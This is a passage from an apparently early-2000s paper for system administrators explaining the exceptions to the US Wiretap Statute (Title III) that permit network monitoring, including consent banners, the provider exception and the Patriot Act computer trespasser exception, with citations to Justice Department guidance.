This exception is the most commonly used exception to Title III and there are two parts to it. The first is for those acting "under color of law" (18 U.S.C. §2511(2)(c)), the second for those not acting under color of law (18 U.S.C. §2511(2)(d)). In either case, this exception states that a party to the communication may consent to interception. Put more simply, any party to the communication may record it themselves (though state law in some states may impose more restrictions).

The most significant aspects of this exception for the system administrator are the question of who constitutes a party to the communication and the notion of implied consent. Two cirtcuit courts (the 4<sup>th</sup> and the 9<sup>th</sup>) have held that the owner of a computer that is the target of an attack may be considered "party to the communication" for the purposes of this section<sup>25</sup>. Both DOJSS and Assistant US Attorney Strang in his bulletin entitled, "Recognizing and Meeting Title III Concerns in Computer Investigations,"<sup>26</sup> warn that this interpretation is risky on computers that serve only as relays for the communication.

An attacker, however, is always recognized as a party to the communication (his/her attack). Another application of this exception then, is the implied consent noted above. The doctrine of implied consent permits monitoring of any network communication provided the system/network has banners. A banner is simply a notice to users that their activity may be monitored. If the banner is properly presented at the beginning of network activity (either when logging into a system or connecting to certain ports on a computer), the user is considered to have received notice. Consent to monitoring is then implied by continued use of the network or service. The scope of the permitted monitoring depends on the wording of the banner, Appendix A of DOJSS<sup>27</sup> provides sample language for network banners.

 <sup>&</sup>lt;sup>24</sup> <u>http://www.law.cornell.edu/uscode/18/2518.html</u>
 <sup>25</sup> <u>http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf</u>, pg. 125

<sup>&</sup>lt;sup>26</sup> http://www.usdoj.gov:80/criminal/cybercrime/usamay2001\_2.htm

<sup>&</sup>lt;sup>27</sup> http://www.usdoj.gov:80/criminal/cybercrime/s&smanual.2002.pdf, pp. 154-156

Further, it should be noted that because of the nature of computer communication, it is not always possible to place banners on all ports or services. This limits the effectiveness of banners in some situations, but should not deter the system administrator from using banners where possible.

#### The Provider Exception, 18 U.S.C. §2511(2)(a)(i)

This exception is sufficiently important, that we will include the entire text of the paragraph from the US Code below.

It shall not be unlawful under this chapter for an operator of a switchboard, or an officer, employee, or agent of a provider of wire or electronic communication service, whose facilities are used in the transmission of a wire or electronic communication, to intercept, disclose, or use that communication in the normal course of his employment while engaged in any activity which is a necessary incident to the rendition of his service or to the protection of the rights or property of the provider of that service, except that a provider of wire communication service to the public shall not utilize service observing or random monitoring except for mechanical or service quality control checks.

This exception allows "providers" including system and network administrators to investigate unauthorized use or malicious activity on their system or network and then disclose evidence gathered to law enforcement. The significant limitation of this exception is that cannot be used for indiscriminate monitoring of all communication, it must be "reasonably connected to the protection of the provider's service."<sup>28</sup> It should also be noted that this exception is explicitly granted to the provider and not to law enforcement. Law enforcement officers are precluded from directing monitoring or asking system administrators to monitor systems for law enforcement purposes. Evidence gathered under this exception may be turned over to law enforcement and subsequently used as a basis for a court order, however, provided that the monitoring was done as part of rendering the service or protecting the rights or property of the provider. Appendix G of DOJSS<sup>29</sup>, provides a sample letter notifying law enforcement that a provider is conducting monitoring, this letter may alleviate some of the issues surrounding whether or not law enforcement is asking for or directing the monitoring.

#### The Computer Trespasser Exception, 18 U.S.C. §2511(2)(i).

This exception is a relatively new one resulting from the USA Patriot Act<sup>30,31,32</sup> following the 11 Sep 2001 terrorist attacks. The law was enacted in October 2001 and this particular provision is set to expire on 31 Dec 2005 unless extended by

<sup>&</sup>lt;sup>28</sup> <u>http://www.usdoj.gov:80/criminal/cybercrime/usamay2001\_2.htm</u>

<sup>&</sup>lt;sup>29</sup> http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf, pp. 225-226

<sup>&</sup>lt;sup>30</sup> http://www.politechbot.com/docs/usa.act.final.102401.html

<sup>&</sup>lt;sup>31</sup> See also <u>http://www.usdoj.gov:80/criminal/cybercrime/PatriotAct.htm</u>

<sup>&</sup>lt;sup>32</sup> See also <u>http://www.fas.org/irp/crs/RL31337.pdf</u> for an analysis of the USAPA.

Congress. This exception permits victims of computer attack to authorize law enforcement to intercept electronic communications of a computer trespasser.

Of interest in this exception is the definition of a computer trespasser as one who accesses a protected computer (as defined under 18 U.S.C. §1030<sup>33</sup>, this can apply to virtually any computer attached to the internet) without authorization. The definition explicitly excludes any person "known by the owner or operator of the protected computer to have an existing contractual relationship with the owner or operator for access to all or part of the protected computer" (18 U.S.C. §2510(21)). This provision specifically forbids the use of this exception for monitoring illegal activities by legitimate users with accounts on the machines being monitored. Also, note that this exception can be used to fill in some of the gaps in the other exceptions, in particular, the weaknesses noted relating to parties to the communication for traffic that merely transits the system or the implied consent for services that cannot be bannered. This exception essentially removes a guirk in the law where a computer intruder was assumed to have a right to privacy in her/his communication (conducting additional malicious activities) if either of those two situations existed. This exception would also allow monitoring that began under the provider exception to continue under the direction of law enforcement provided the four key elements of this exception are satisfied. Those elements are:

- a) The owner or operator of the protected computer authorizes the monitoring (18 U.S.C. §2511(2)(i)(I)).
- b) The person who intercepts the communication must be "lawfully engaged in an investigation" (18 U.S.C. §2511(2)(i)(II)). This can be the system administrator acting "under color of law" at the direction of law enforcement.
- c) The person intercepting the communication must have "reasonable grounds to believe that the contents of the computer trespasser's communications will be relevant to the investigation" (18 U.S.C. §2511(2)(i)(III)).
- d) The intercepted communication is limited to those to or from the trespasser (18 U.S.C. §2511(2)(i)(IV)).

Appendix H of DOJSS<sup>34</sup> provides a sample letter authorizing law enforcement to monitor a computer trespasser.

# The Extension Telephone Exception, 18 U.S.C. §2510(5)(a).

There does not appear to be much case law around application of this exception to interception of computer network communication. In the case of system or network administrators, it would appear that the provider exception would cover most or all instances where this exception might apply and there is considerably more case law around that other exception, so we will not dwell on this exception.

<sup>33</sup> http://www.law.cornell.edu/uscode/18/1030.html

<sup>&</sup>lt;sup>34</sup> http://www.usdoj.gov:80/criminal/cybercrim/s&smanual.pdf, pg. 227.

# Inadvertently Obtained Criminal Evidence Exception, 18 U.S.C. §2511(3)(b)(iv).

This exception would allow a provider to disclose to law enforcement the contents of communications that "were inadvertently obtained by the service provider and which appear to pertain to the commission of a crime" (18 U.S.C. §2511(3)(b)(iv)). There does not appear to be any applications of this exception to computer cases, yet, however, it would appear that e-mail which details plans for a crime that was misaddressed and bounced to the postmaster mailbox, for example, could be legally turned over to law enforcement.

# Accessible to the Public Exception, 18 U.S.C. §2511(2)(g)(i).

This exception permits any person to intercept communication through a system designed to make the content "readily accessible to the general public" (18 U.S.C.  $\S2511(2)(g)(i)$ ). As with the previous exception, there does not appear to be any case law applying this exception to computer communication, but the wording would tend to imply that anything posted to a Usenet group, a public chat room, or other public forum could be monitored and disclosed.

#### Stored Communication

Title III is explicit about applying only to contemporaneous interception of communication. Examining stored communication such as e-mail that has not been retrieved falls under other provisions of the ECPA and is beyond the scope of Title III.

# Conclusions

The Wiretap Statute was extended in by the ECPA (in 1986) to cover interception or monitoring of an electronic communication in real time. This means that system and network administrators should become familiar with these laws before engaging in any sniffing of network traffic. The system/network administrator has a great deal of latitude in investigating security issues (especially since the passage of the USAPA), but should consult with her/his legal department if they anticipate using evidence gathered from this sniffing in eventual prosecution.

#### Refereces

- By far the best reference for this is the US Department of Justice Search and Seizure Manual. This should be everyone's first stop. <u>http://www.usdoj.gov:80/cybercrime/s&smanual2002.pdf</u> or <u>http://www.usdoj.gov:80/cybercrime/s&smanual2002.htm</u>
- See also <a href="http://www.usdoj.gov:80/cybercrime/usamay2001\_2.htm">http://www.usdoj.gov:80/cybercrime/usamay2001\_2.htm</a>
- For a general discussion of electronic communication in the workplace, see also <u>http://www.info-law.com/guide.html</u>

- For a listing of many resources, see <u>http://cyber.findlaw.com/criminal/wiretap.html</u>
- The FBI/DOJ Cybercrime page is another excellent resource. See <a href="http://www.cybercrime.gov">http://www.cybercrime.gov</a>
- For the text of the USA Patriot Act, see <u>http://www.politechbot.com/docs/usa.act.final.102401.html</u>
- For discussion of the USA Patriot Act, see <a href="http://www.usdoj.gov:80/cybercrime/PatriotAct.htm">http://www.usdoj.gov:80/cybercrime/PatriotAct.htm</a>
- More USAPA info, <u>http://www.aclu.org/congress/l110101a.html</u>
- More USAPA info, <u>http://www.fas.org/irp/crs/RL31337.pdf</u>
- More USAPA info, <a href="http://www.cdt.org/security/010911response.shtml">http://www.cdt.org/security/010911response.shtml</a>
- For some general guidelines on investigating computer crime, see <u>http://www.usdoj.gov:80/criminal/cybercrime/usamarch2001\_2.htm</u>